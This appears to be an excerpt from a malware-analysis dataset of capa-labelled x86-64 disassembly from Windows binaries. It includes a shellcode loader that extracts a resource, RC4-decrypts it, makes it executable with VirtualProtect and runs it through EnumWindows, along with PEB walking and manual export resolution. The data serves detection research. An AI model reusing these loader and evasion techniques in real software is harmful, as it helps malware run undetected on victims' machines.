joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400321c0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140056610]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400278d4
xor ebx, ebx
cmp qword [0x1400657c8], rbx
mov rdi, rax
jne 0x1400322d3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400323aa
lea rdx, [0x140048ba8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400323aa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400657c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400657d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400657d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400657e8], rax
test rax, rax
je 0x1400322ca
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400657e0], rax
jmp 0x1400322da
mov rax, qword [0x1400657e0]
jmp 0x1400322e1
mov rax, qword [0x1400657e0]
mov r11, qword [0x1400657e8]
cmp rax, rdi
je 0x140032348
cmp r11, rdi
je 0x140032348
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400657e8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140032348
test rax, rax
je 0x140032348
call rsi
test rax, rax
je 0x140032342
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140032342
test byte [rsp + 0x40], 1
jne 0x140032348
bts ebp, 0x15
jmp 0x140032388
mov rcx, qword [0x1400657d0]
cmp rcx, rdi
je 0x140032388
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140032388
call rax
mov rbx, rax
test rax, rax
je 0x140032388
mov rcx, qword [0x1400657d8]
cmp rcx, rdi
je 0x140032388
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140032388
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400657c8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400323aa
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400323ac
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140024f30
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002930
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140002991
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140002950
mov ecx, dword [r9]
jmp 0x140002a7b
cmp ecx, 0x4e0
jb 0x140002a7b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400029b0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140002a00
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14000353c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003586
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003586
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003586
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003586
cmp dword [rcx + 0x84], 0xe
jbe 0x140003586
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003588
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov rax, qword gs:[0x60]
mov rbx, rcx
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x20]
mov r11, rdi
mov rax, qword [r11 + 0x40]
xor edx, edx
test rax, rax
je 0x18000105e
movzx r8d, word [rax]
test r8w, r8w
je 0x18000105e
nop word [rax + rax]
cmp r8w, 0x5c
mov rcx, rax
movzx r8d, word [rax + 2]
cmovne rcx, rdx
add rax, 2
mov rdx, rcx
test r8w, r8w
jne 0x180001040
lea r9, [rdx + 2]
cmp rbx, r9
je 0x1800010c9
mov r10, rbx
sub r10, r9
nop dword [rax]
movzx ecx, word [r10 + r9]
movzx edx, word [r9]
lea r9, [r9 + 2]
lea eax, [rcx - 0x41]
cmp ax, 0x19
lea r8d, [rcx + 0x20]
lea eax, [rdx - 0x41]
cmova r8w, cx
cmp ax, 0x19
lea ecx, [rdx + 0x20]
cmova cx, dx
test r8w, r8w
je 0x1800010a7
cmp r8w, cx
je 0x180001070
cmp r8w, cx
jb 0x1800010af
jbe 0x1800010c9
mov r11, qword [r11]
cmp r11, qword [rdi + 8]
jne 0x180001021
xor eax, eax
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
mov rax, qword [r11 + 0x20]
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
Function at 0x1800010e0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xf0
mov eax, 0x5a4d
mov rbp, rdx
mov rbx, rcx
cmp word [rcx], ax
jne 0x180001227
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x180001227
movups xmm0, xmmword [rax + 0x18]
lea r8, [rsp]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x28]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm0
movups xmmword [r8 + 0x60], xmm1
mov eax, dword [rsp + 0x70]
add rax, rcx
mov r10d, dword [rax + 0x20]
mov r14d, dword [rax + 0x1c]
add r10, rcx
mov r11d, dword [rax + 0x24]
add r14, rcx
mov esi, dword [rax + 0x18]
add r11, rcx
test esi, esi
je 0x180001227
movzx eax, word [r11]
mov r8d, dword [r10]
add r8, rbx
mov edi, dword [r14 + rax*4]
mov rax, rbp
add rdi, rbx
sub r8, rbp
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001213
inc rax
test ecx, ecx
jne 0x180001200
test edx, edx
je 0x180001247
inc r9d
add r11, 2
add r10, 4
cmp r9d, esi
jb 0x1800011e2
xor eax, eax
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rax, rdi
jmp 0x180001229
Function at 0x140001168
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
mov eax, 0x110
call fcn.14005af50
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x100], rax
xor edx, edx
mov rbx, rcx
mov eax, edx
lea rcx, [rsp]
movd xmm0, eax
add eax, 4
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x140067a70]
andps xmm0, xmmword [0x140067a80]
packuswb xmm0, xmm0
packuswb xmm0, xmm0
movd dword [rcx], xmm0
lea rcx, [rcx + 4]
cmp eax, 0x100
jl 0x140001194
mov r8d, edx
lea r10, [rsp]
mov r9d, edx
movzx r11d, byte [r10]
lea rcx, str.fourfourfourfour
mov eax, r9d
and eax, 0xf
movzx eax, byte [rax + rcx]
add r8d, eax
add r8d, r11d
and r8d, 0x800000ff
jge 0x140001201
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
inc r9d
mov al, byte [rsp + rcx]
mov byte [r10], al
inc r10
mov byte [rsp + rcx], r11b
cmp r9d, 0x100
jl 0x1400011d0
mov r8d, edx
mov r11d, 0x10ae696
inc r8d
and r8d, 0x800000ff
jge 0x14000123f
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd r9, r8d
movzx r10d, byte [rsp + r9]
add edx, r10d
and edx, 0x800000ff
jge 0x14000125c
dec edx
or edx, 0xffffff00
inc edx
movsxd rcx, edx
mov al, byte [rsp + rcx]
mov byte [rsp + r9], al
mov byte [rsp + rcx], r10b
movzx ecx, byte [rsp + r9]
add rcx, r10
movzx eax, cl
mov cl, byte [rsp + rax]
xor byte [rbx], cl
inc rbx
sub r11, 1
jne 0x140001226
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x110
pop rbx
ret

Function at 0x1400012e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
mov eax, 0x20
call fcn.14005af50
sub rsp, rax
lea edx, [rax + 0x44]
xor ecx, ecx
lea r8d, [rax - 0x16]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, str.found_shellcode_at:__p_n
mov rbx, rax
lea rdx, [rax + 0x1792]
call fcn.140001084
lea rax, [rbx + 0x1792]
add rsp, 0x20
pop rbx
ret

Function at 0x140001338
Capabilities:
Enumerate gui resources

Disassembly:
push rbx
mov eax, 0x20
call fcn.14005af50
sub rsp, rax
lea r9, [rsp + 0x38]
mov edx, 0x10ae696
lea r8d, [rax - 0x10]
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.changed_memory_permission_from_rw_to_rx_n
call fcn.140001084
mov ecx, 4
call fcn.1400010e0
lea rcx, str.executing_shellcode...__n
call fcn.140001084
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_EnumWindows]
add rsp, 0x20
pop rbx
ret

Function at 0x140002228
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002272
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002272
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002272
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002272
cmp dword [rcx + 0x84], 0xe
jbe 0x140002272
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002274
xor al, al
add rsp, 0x28
ret
Function at 0x1400374ec
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14003755b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003755b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003755b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003755b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003755b
cmp dword [rcx + 0x84], 0xe
jbe 0x14003755b
cmp dword [rcx + 0xf8], 0
je 0x14003755b
mov ecx, ebx
call fcn.14003766c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400372c8
nop
cmp dword [rbp + 0x20], 0
je 0x1400375a9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400375b4
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400374ec

Function at 0x140037764
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400374ec
Function at 0x140047574
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400475a4
xor eax, eax
jmp 0x140047667
mov rbp, rbx
cmp word [rax], si
je 0x1400475c9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400475b0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400475ac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400473f4
movsxd r14, eax
test eax, eax
jne 0x140047607
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14004759d
mov rcx, r14
call fcn.140040b7c
mov rdi, rax
test rax, rax
jne 0x140047620
xor ecx, ecx
call fcn.14003e430
jmp 0x1400475fc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400473f4
test eax, eax
jne 0x140047651
mov rcx, rdi
call fcn.14003e430
jmp 0x14004765b
xor ecx, ecx
call fcn.14003e430
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140047684
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14004770b
mov rsi, rbx
cmp word [rax], bp
je 0x1400476ca
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400476b4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400476b0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140040b7c
mov rdi, rax
test rax, rax
je 0x1400476f8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14005b8c0
mov rbp, rdi
xor ecx, ecx
call fcn.14003e430
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004bfd8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14003da00
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14004c079
cmp ebx, dword [rsp + 0x30]
je 0x14004c072
test esi, esi
je 0x14004c072
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14004c04d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14004c05a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14004c037
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14004c05e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14004c07b
mov eax, 1
jmp 0x14004c07b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140052e44
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140052e5a
mov al, 1
jmp 0x140052eba
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140052e6b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140052eb8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140048b08
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140052eb8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140052eb8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140052eb8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140052eba
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140054388
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400453b0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140054412
cmp byte [rbp - 0x21], r15b
je 0x14005440d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140054448
call fcn.14003f164
test eax, eax
jne 0x140054434
cmp byte [rbp - 0x21], r15b
je 0x14005442c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140054448
cmp byte [rbp - 0x21], r15b
je 0x140054445
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140044150
test eax, eax
jne 0x1400544e8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400453b0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140054487
cmp byte [rbp - 0x21], r15b
je 0x1400544bc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400544bc
call fcn.14003f164
test eax, eax
jne 0x1400544a8
cmp byte [rbp - 0x21], r15b
je 0x1400544a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400544bc
cmp byte [rbp - 0x21], r15b
je 0x1400544b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140044150
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400544e8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400544eb
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400544f9
mov rcx, rdi
call fcn.14003e430
cmp byte [rbp + 0x3f], r15b
je 0x140054508
mov rcx, qword [rbp + 0x27]
call fcn.14003e430
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400565a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140071f60]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400565f7
cmp word [rdx], r13w
jne 0x1400565f7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400565fc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140056721
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140056742
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140056635
mov rdx, r9
mov word [rbx], cx
jmp 0x14005665c
cmp r9, r8
jae 0x14005666c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140056616
jmp 0x140056721
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140056716
cmp dword [rsp + 0x80], esi
je 0x140056716
lea r8, [0x140071f60]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400566ee
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400566be
mov word [rbx], r13w
jmp 0x14005671e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400566cb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14005671e
cmp word [rsp + 0x70], r13w
jne 0x1400566fb
cmp rbx, r14
je 0x1400566b8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140056264
cmp word [rsp + 0x70], r13w
je 0x140056721
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140071f60]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14005671b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140056721